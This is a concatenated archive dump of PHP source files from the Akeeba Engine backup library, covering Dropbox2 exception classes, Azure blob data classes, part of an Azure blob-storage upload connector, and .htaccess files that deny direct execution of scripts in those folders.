		{
			$response = [];
		}

		unset($originalResponse);

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$error            = $response['error']['code'];
			$errorDescription = $response['error']['message'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		// Did we get an error response (from the helper script)?
		if (isset($response['error']))
		{
			$error            = $response['error'];
			$errorDescription = $response['error_description'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		return $response;
	}
}
PK     \098-    Z  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/UnexpectedHTTPStatus.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Dropbox2\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class UnexpectedHTTPStatus extends Base
{
	public function __construct($errNo = "500", $code = 0, ?Exception $previous = null)
	{
		$message = "Unexpected HTTP status $errNo";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \P5    O  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/cURLError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Dropbox2\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class cURLError extends Base
{
	public function __construct($errNo = "500", $code = '', ?Exception $previous = null)
	{
		$message = "cURL error $errNo: $code";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \ES0.    N  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/APIError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Dropbox2\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class APIError extends Base
{
	/**
	 * APIError constructor.
	 *
	 * @param   string          $error             Short error code
	 * @param   string          $errorDescription  Long error description
	 * @param   int             $code              Numeric error ID (default: 500)
	 * @param   Exception|null  $previous          Previous exception
	 */
	public function __construct($error, $errorDescription, $code = 500, ?Exception $previous = null)
	{
		$message = "Error $error: $errorDescription";

		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \}    J  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Dropbox2\Exception;

defined('AKEEBAENGINE') || die();

use RuntimeException;

class Base extends RuntimeException
{
}
PK     \SJx  x  Q  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/InvalidJSON.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Dropbox2\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class InvalidJSON extends Base
{
	public function __construct($message = "Invalid JSON data received", $code = '500', ?Exception $previous = null)
	{
		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \Sʉ      K  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      A  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \/I    L  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Blob/Instance.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Postproc\Connector\AzureModern\Blob
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Blob;

use Exception;

/**
 * @category   Microsoft
 * @package    Microsoft_WindowsAzure
 * @subpackage Storage
 * @copyright  Copyright (c) 2009, RealDolmen (http://www.realdolmen.com)
 * @license    http://phpazure.codeplex.com/license
 *
 * @property string  $Container       Container name
 * @property string  $Name            Name
 * @property string  $Etag            Etag
 * @property string  $LastModified    Last modified date
 * @property string  $Url             Url
 * @property int     $Size            Size
 * @property string  $ContentType     Content Type
 * @property string  $ContentEncoding Content Encoding
 * @property string  $ContentLanguage Content Language
 * @property boolean $IsPrefix        Is Prefix?
 * @property array   $Metadata        Key/value pairs of meta data
 */
class Instance
{
	/**
	 * Data
	 *
	 * @var array
	 */
	protected $_data = null;

	/**
	 * Constructor
	 *
	 * @param   string   $containerName    Container name
	 * @param   string   $name             Name
	 * @param   string   $etag             Etag
	 * @param   string   $lastModified     Last modified date
	 * @param   string   $url              Url
	 * @param   int      $size             Size
	 * @param   string   $contentType      Content Type
	 * @param   string   $contentEncoding  Content Encoding
	 * @param   string   $contentLanguage  Content Language
	 * @param   boolean  $isPrefix         Is Prefix?
	 * @param   array    $metadata         Key/value pairs of meta data
	 */
	public function __construct($containerName, $name, $etag, $lastModified, $url = '', $size = 0, $contentType = '', $contentEncoding = '', $contentLanguage = '', $isPrefix = false, $metadata = [])
	{
		$this->_data = [
			'container'       => $containerName,
			'name'            => $name,
			'etag'            => $etag,
			'lastmodified'    => $lastModified,
			'url'             => $url,
			'size'            => $size,
			'contenttype'     => $contentType,
			'contentencoding' => $contentEncoding,
			'contentlanguage' => $contentLanguage,
			'isprefix'        => $isPrefix,
			'metadata'        => $metadata,
		];
	}

	/**
	 * Magic overload for getting properties
	 *
	 * @param   string  $name  Name of the property
	 */
	public function __get($name)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			return $this->_data[strtolower($name)];
		}

		throw new Exception("Unknown property: " . $name);
	}

	/**
	 * Magic overload for setting properties
	 *
	 * @param   string  $name   Name of the property
	 * @param   string  $value  Value to set
	 */
	public function __set($name, $value)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			$this->_data[strtolower($name)] = $value;

			return;
		}

		throw new Exception("Unknown property: " . $name);
	}
}PK     \N;'	  	  M  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Blob/Container.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Blob;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * @property  string  $Name          Name of the container
 * @property  string  $Etag          Etag of the container
 * @property  string  $LastModified  Last modified date of the container
 * @property  array   $Metadata      Key/value pairs of meta data
 *
 * @since    9.2.1
 */
class Container
{
	/**
	 * Data
	 *
	 * @var array
	 */
	protected $_data = null;

	/**
	 * Constructor
	 *
	 * @param   string  $name          Name
	 * @param   string  $etag          Etag
	 * @param   string  $lastModified  Last modified date
	 * @param   array   $metadata      Key/value pairs of meta data
	 */
	public function __construct(string $name, string $etag, string $lastModified, array $metadata = [])
	{
		$this->_data = [
			'name'         => $name,
			'etag'         => $etag,
			'lastmodified' => $lastModified,
			'metadata'     => $metadata,
		];
	}

	/**
	 * Magic overload for getting properties
	 *
	 * @param   string  $name  Name of the property
	 *
	 * @throws Exception
	 */
	public function __get($name)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			return $this->_data[strtolower($name)];
		}

		throw new Exception("Unknown property: " . $name);
	}

	/**
	 * Magic overload for setting properties
	 *
	 * @param   string  $name   Name of the property
	 * @param   string  $value  Value to set
	 *
	 * @throws Exception
	 */
	public function __set($name, $value)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			$this->_data[strtolower($name)] = $value;

			return;
		}

		throw new Exception("Unknown property: " . $name);
	}
}
PK     \0J  J  H  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Blob/Blob.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Blob;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * BLOB entry
 *
 * @property string  $Container       Container name
 * @property string  $Name            Name
 * @property string  $Etag            Etag
 * @property string  $LastModified    Last modified date
 * @property string  $Url             Url
 * @property int     $Size            Size
 * @property string  $ContentType     Content Type
 * @property string  $ContentEncoding Content Encoding
 * @property string  $ContentLanguage Content Language
 * @property boolean $IsPrefix        Is Prefix?
 * @property array   $Metadata        Key/value pairs of meta data
 *
 * @since 9.2.1
 */
class Blob
{
	/**
	 * Data
	 *
	 * @var   array
	 * @since 9.2.1
	 */
	protected $_data = null;

	/**
	 * Constructor
	 *
	 * @param   string  $containerName    Container name
	 * @param   string  $name             Name
	 * @param   string  $etag             Etag
	 * @param   string  $lastModified     Last modified date
	 * @param   string  $url              Url
	 * @param   int     $size             Size
	 * @param   string  $contentType      Content Type
	 * @param   string  $contentEncoding  Content Encoding
	 * @param   string  $contentLanguage  Content Language
	 * @param   bool    $isPrefix         Is Prefix?
	 * @param   array   $metadata         Key/value pairs of meta data
	 */
	public function __construct(
		string $containerName, string $name, string $etag, string $lastModified, string $url = '', int $size = 0,
		string $contentType = '', string $contentEncoding = '', string $contentLanguage = '',
		bool   $isPrefix = false, array $metadata = []
	)
	{
		$this->_data = [
			'container'       => $containerName,
			'name'            => $name,
			'etag'            => $etag,
			'lastmodified'    => $lastModified,
			'url'             => $url,
			'size'            => $size,
			'contenttype'     => $contentType,
			'contentencoding' => $contentEncoding,
			'contentlanguage' => $contentLanguage,
			'isprefix'        => $isPrefix,
			'metadata'        => $metadata,
		];
	}

	/**
	 * Magic overload for getting properties
	 *
	 * @param   string  $name  Name of the property
	 *
	 * @throws  Exception
	 */
	public function __get($name)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			return $this->_data[strtolower($name)];
		}

		throw new Exception("Unknown property: " . $name);
	}

	/**
	 * Magic overload for setting properties
	 *
	 * @param   string  $name   Name of the property
	 * @param   string  $value  Value to set
	 *
	 * @throws  Exception
	 */
	public function __set($name, $value)
	{
		if (array_key_exists(strtolower($name), $this->_data))
		{
			$this->_data[strtolower($name)] = $value;

			return;
		}

		throw new Exception("Unknown property: " . $name);
	}
}
PK     \Sʉ      I  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Blob/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \xT    H  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Connector.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\AzureModern\Blob\Instance;
use Akeeba\Engine\Postproc\Connector\AzureModern\Blob\Container;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\ApiException;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\FileTooBigToChunk;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\FileTooBigToSingleUpload;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\ForwardSlashNotAllowed;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\InvalidContainerName;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\LocalFileNotFound;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\MaxBlockSizeExceeded;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\NoBlobName;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\NoBlocks;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\NoContainerName;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\NoData;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\NoLocalFileName;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\TooManyBlocks;
use Akeeba\Engine\Postproc\Connector\AzureModern\Exception\UnexpectedHTTPStatus;
use Akeeba\Engine\Util\HashTrait;
use Akeeba\S3\Response;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use SimpleXMLElement;

/**
 * Microsoft Azure connector, modernized
 */
class Connector
{
	use HashTrait;
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The version of the API we are using
	 *
	 * @const  string
	 * @since  9.2.1
	 */
	private const API_VERSION = '2019-12-12';

	/**
	 * Default cURL options
	 *
	 * @since  9.2.1
	 */
	private const DEFAULT_CURL_OPTIONS = [
		CURLOPT_USERAGENT      => 'AkeebaEngine/9',
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => 2,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => false,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
		CURLOPT_FOLLOWLOCATION => true,
	];

	/**
	 * The credentials signing object
	 *
	 * @var   Credentials
	 * @since 9.2.1
	 */
	private $credentials;

	/**
	 * The endpoint domain name for Microsoft Azure
	 *
	 * @var   bool
	 * @since 9.2.1
	 */
	private $endPoint = 'core.windows.net';

	/**
	 * Should I use HTTPS for accessing Microsoft Azure?
	 *
	 * @var   bool
	 * @since 9.2.1
	 */
	private $useSSL;

	/**
	 * The response being worked on by performRequest()
	 *
	 * @var   Response|null
	 * @since 9.2.1
	 */
	private $response = null;

	/**
	 * The output file pointer used in performRequest();
	 *
	 * @var   resource|null
	 * @since 9.2.1
	 */
	private $fp = null;

	/**
	 * Creates a new Credentials instance
	 *
	 * @param   string  $accountName      Account name for Microsoft Azure
	 * @param   string  $accountKey       Account key for Microsoft Azure
	 * @param   bool    $usePathStyleUri  Use path-style URI's? Default false.
	 * @param   bool    $useSSL           Should I use HTTPS? Default true.
	 * @param   string  $endPoint         Endpoint domain name, default core.windows.net
	 *
	 * @since   9.2.1
	 */
	public function __construct(string $accountName, string $accountKey, bool $usePathStyleUri = false, bool $useSSL = true, string $endPoint = 'core.windows.net')
	{
		$this->credentials = new Credentials($accountName, $accountKey, $usePathStyleUri);
		$this->useSSL      = $useSSL;
		$this->endPoint    = $endPoint;
	}

	/**
	 * Get a connector object given a connection string.
	 *
	 * The connection string looks like this:
	 *   DefaultEndpointsProtocol=https;AccountName=foobar;AccountKey=AAAAAA=;EndpointSuffix=core.windows.net
	 *
	 * @param   string  $connectionString  The connection string to parse
	 *
	 * @return  static
	 * @since   9.2.1
	 */
	public static function fromConnectionString(string $connectionString): self
	{
		$lines = explode(';', $connectionString);
		$data  = [];

		foreach ($lines as $line)
		{
			$parts = explode('=', $line, 2);

			if (count($parts) != 2)
			{
				continue;
			}

			$data[strtolower($parts[0])] = $parts[1];
		}

		return new self(
			$data['accountname'] ?? '',
			$data['accountkey'] ?? '',
			false,
			strtolower($data['defaultendpointsprotocol'] ?? '') != 'http',
			$data['endpointsuffix'] ?? 'core.windows.net'
		);
	}

	/**
	 * Get the container properties
	 *
	 * @param   string  $containerName  Container name
	 *
	 * @return  Container
	 *
	 * @throws  ApiException
	 * @since   9.2.1
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/get-container-properties
	 */
	public function getContainer(string $containerName = ''): Container
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		// Perform request
		$response = $this->performRequest('GET', $containerName, '?restype=container');

		if ($response->getCode() > 399)
		{
			throw new UnexpectedHTTPStatus($response->getCode());
		}
		elseif ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		// Parse metadata
		$metadata = [];

		foreach ($response->getHeaders() as $key => $value)
		{
			if (substr(strtolower($key), 0, 10) == "x-ms-meta-")
			{
				$metadata[str_replace("x-ms-meta-", '', strtolower($key))] = $value;
			}
		}

		$headers = $response->getHeaders();

		return new Container(
			$containerName,
			$this->extractHeader($headers, 'Etag'),
			$this->extractHeader($headers, 'Last-modified'),
			$metadata
		);
	}

	/**
	 * Put blob
	 *
	 * @param   string  $containerName      Container name
	 * @param   string  $blobName           Blob name
	 * @param   string  $localFileName      Local file name to be uploaded
	 * @param   array   $metadata           Key/value pairs of meta data
	 * @param   array   $additionalHeaders  Additional headers.
	 *
	 * @return  Instance  Partial blob properties
	 * @throws  ApiException
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/put-blob
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Specifying-Conditional-Headers-for-Blob-Service-Operations
	 *
	 * @since   9.2.1
	 */
	public function putBlob(
		string $containerName = '', string $blobName = '', string $localFileName = '', array $metadata = [],
		array  $additionalHeaders = []
	)
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		if ($blobName === '')
		{
			throw new NoBlobName();
		}

		if ($localFileName === '')
		{
			throw new NoLocalFileName();
		}

		if (!file_exists($localFileName))
		{
			throw new LocalFileNotFound();
		}

		if (($containerName === '$root') && strpos($blobName, '/') !== false)
		{
			throw new ForwardSlashNotAllowed();
		}

		/**
		 * Mandatory headers for this API version
		 * @see https://docs.microsoft.com/en-us/rest/api/storageservices/Put-Blob
		 */
		$headers = [
			'x-ms-blob-type' => 'BlockBlob',
		];

		// Create metadata headers
		foreach ($metadata as $key => $value)
		{
			$headers["x-ms-meta-" . strtolower($key)] = $value;
		}

		// Additional headers?
		foreach ($additionalHeaders as $key => $value)
		{
			$headers[$key] = $value;
		}

		// File contents
		$contentLength             = (int) filesize($localFileName);
		$headers['file']           = $localFileName;
		$headers['Content-Length'] = $contentLength;

		// Is this file too big to upload?
		$chunkSize = $this->getBestBlockSize($localFileName, 0);

		if ($chunkSize > 0)
		{
			throw new FileTooBigToSingleUpload();
		}

		// Resource name
		$resourceName = self::createResourceName($containerName, $blobName);

		// Perform request
		$response = $this->performRequest('PUT', $resourceName, '', $headers);

		if ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		if ($response->getCode() > 399)
		{
			throw new ApiException($this->getErrorMessage($response, 'Resource could not be accessed.'), $response->getCode());
		}

		$headers = $response->getHeaders();

		return new Instance(
			$containerName,
			$blobName,
			$this->extractHeader($headers, 'Etag'),
			$this->extractHeader($headers, 'Last-modified'),
			$this->getBaseUrl() . '/' . $containerName . '/' . $blobName,
			$contentLength,
			'',
			'',
			'',
			false,
			$metadata
		);
	}

	/**
	 * Put blob block.
	 *
	 * Used for chunked uploading.
	 *
	 * Make sure the $additionalHeaders array contains a `blockid` key. If it's missing, a random one will be created
	 * and returned by this method.
	 *
	 * @param   string  $containerName      Container name
	 * @param   string  $blobName           Blob name
	 * @param   string  $data               Binary data to upload into the blob object's block
	 * @param   array   $metadata           Key/value pairs of meta data
	 * @param   array   $additionalHeaders  Additional headers
	 *
	 * @return  string  The block ID which was sent to Azure
	 * @throws  ApiException
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/put-block
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Specifying-Conditional-Headers-for-Blob-Service-Operations
	 *
	 * @since   9.2.1
	 */
	public function putBlock(
		string $containerName = '', string $blobName = '', string $data = '', array $metadata = [],
		array  $additionalHeaders = []
	): string
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		if ($blobName === '')
		{
			throw new NoBlobName();
		}

		if (($containerName === '$root') && strpos($blobName, '/') !== false)
		{
			throw new ForwardSlashNotAllowed();
		}

		if ($data === '')
		{
			throw new NoData();
		}

		// Blob block size check
		$currentSize   = function_exists('mb_strlen') ? mb_strlen($data, '8bit') : strlen($data);
		$utcTz         = new \DateTimeZone('utc');
		$versionAsTime = new \DateTime(self::API_VERSION, $utcTz);

		if ($versionAsTime->getTimestamp() >= (new \DateTime('2019-12-12', $utcTz))->getTimestamp())
		{
			$maxSize = 4000 * 1024 * 1024;
		}
		elseif ($versionAsTime->getTimestamp() >= (new \DateTime('2016-05-31', $utcTz))->getTimestamp())
		{
			$maxSize = 10 * 1024 * 1024;
		}
		else
		{
			$maxSize = 4 * 1024 * 1024;
		}

		if ($currentSize > $maxSize)
		{
			throw new MaxBlockSizeExceeded($currentSize, $maxSize);
		}

		// Make sure I have a block ID
		$encodedBlockId = $additionalHeaders['blockid'] ?? null;

		if (empty($encodedBlockId))
		{
			$additionalHeaders['blockid'] = '';
			$encodedBlockId               = base64_encode(self::sha1(microtime() . random_bytes(12)));
		}

		unset($additionalHeaders['blockid']);

		/**
		 * Mandatory headers for this API version
		 * @see https://docs.microsoft.com/en-us/rest/api/storageservices/Put-Blob
		 */
		$headers = [
			'x-ms-blob-type' => 'BlockBlob',
		];

		// Create metadata headers
		foreach ($metadata as $key => $value)
		{
			$headers["x-ms-meta-" . strtolower($key)] = $value;
		}

		// Additional headers?
		foreach ($additionalHeaders as $key => $value)
		{
			$headers[$key] = $value;
		}

		// File contents
		$headers['explicit_post']  = &$data;
		$headers['Content-Length'] = $currentSize;
		$headers['Content-Type']   = 'application/x-www-form-urlencoded';

		// Resource name
		$resourceName = self::createResourceName($containerName, $blobName);

		// Perform request
		$queryParams = [
			'comp'    => 'block',
			'blockid' => $encodedBlockId,
		];
		$response    = $this->performRequest('PUT', $resourceName, '?' . http_build_query($queryParams), $headers);

		if ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		if ($response->getCode() != 201)
		{
			throw new ApiException($this->getErrorMessage($response, 'Resource could not be accessed.'), $response->getCode());
		}

		return base64_decode($encodedBlockId);
	}

	/**
	 * Finalize a chunked upload
	 *
	 * @param   string  $containerName  Container name
	 * @param   string  $blobName       Blob name
	 * @param   array   $blockIds       List of the NON-encoded block IDs to commit
	 *
	 * @return  void
	 * @since   9.2.1
	 */
	public function putBlockList(string $containerName = '', string $blobName = '', array $blockIds = []): void
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		if ($blobName === '')
		{
			throw new NoBlobName();
		}

		if (($containerName === '$root') && strpos($blobName, '/') !== false)
		{
			throw new ForwardSlashNotAllowed();
		}

		if (empty($blockIds))
		{
			throw new NoBlocks();
		}

		if (count($blockIds) > 50000)
		{
			throw new TooManyBlocks();
		}

		// Construct the document to PUT.
		$data = '<?xml version="1.0" encoding="utf-8"?><BlockList>' . "\n" .
			array_reduce($blockIds, function (string $carry, string $item) {
				return sprintf("%s<Latest>%s</Latest>\n", $carry, base64_encode($item));
			}, '') . '</BlockList>';

		$headers = [
			'Content-Type'   => 'text/plain; charset=UTF-8',
			'Content-Length' => function_exists('mb_strlen') ? mb_strlen($data, '8bit') : strlen($data),
			'explicit_post'  => $data,
		];

		// Resource name
		$resourceName = self::createResourceName($containerName, $blobName);

		// Perform request
		$response = $this->performRequest('PUT', $resourceName, '?comp=blocklist', $headers);

		if ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		if ($response->getCode() != 201)
		{
			throw new ApiException($this->getErrorMessage($response, 'Resource could not be accessed.'), $response->getCode());
		}
	}

	/**
	 * Find the best block size for putBlock for a given file.
	 *
	 * The best block size is one which does not cause the block count to exceed 50,000 (Azure's hard limit on the
	 * number of blocks a BLOB object can consist of) and is not lower than $desirableBlockSize.
	 *
	 * For example, a 100Gb file has a minimum block size of 2100Kb (just over 2Mb). If the $desirableBlockSize is 10Mb
	 * then this method will return 10Mb. If the $desirableBlockSize is 1Mb this method will return 2100Kb (higher than
	 * the desirable), otherwise you'd need more than 50,000 blocks which is not allowed.
	 *
	 * Each block size can also not be higher than 4000MiB, 100MiB or 4MiB depending on the API version. This is also
